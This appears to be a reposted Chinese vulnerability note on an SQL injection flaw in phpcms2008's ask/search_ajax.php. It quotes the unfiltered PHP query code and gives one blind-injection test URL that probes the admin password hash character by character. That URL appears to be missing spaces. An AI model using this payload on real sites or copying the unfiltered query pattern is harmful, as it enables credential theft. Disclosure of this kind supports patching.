phpcms2008 注入漏洞

时间:2021-05-24

这个是最新有人发现的
该漏洞文件:ask/search_ajax.php
漏洞说明:
/ask/search_ajax.php
Code:
if($q)
{
$where = " title LIKE '%$q%' AND status = 5";//没做过滤直接感染了$where
}
else
{
exit('null');
}
$infos = $ask->listinfo($where, 'askid DESC', '', 10);
/ask/include/answer.class.php
Code:
function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)
{
if($where) $where = " WHERE $where";
if($order) $order = " ORDER BY $order";
$page = max(intval($page), 1);
$offset = $pagesize*($page-1);
$limit = " LIMIT $offset, $pagesize";
$r = $this->db->get_one("SELECT count(*) as number FROM $this->table_posts $where");
$number = $r['number'];
$this->pages = pages($number, $page, $pagesize);
$array = array();
$i = 1;
$result = $this->db->query("SELECT * FROM $this->table_posts $where $order $limit");
while($r = $this->db->fetch_array($result))
{
$r['orderid'] = $i;
$array[] = $r;
$i++;
}
$this->number = $this->db->num_rows($result);
$this->db->free_result($result);
return $array;
}
测试方法:
/ask/search_ajax.php?q=s%D5'or(select ascii(substring(password,1,1))fromphpcms_memberwhereusername=0x706870636D73)>52%23

声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。

相关文章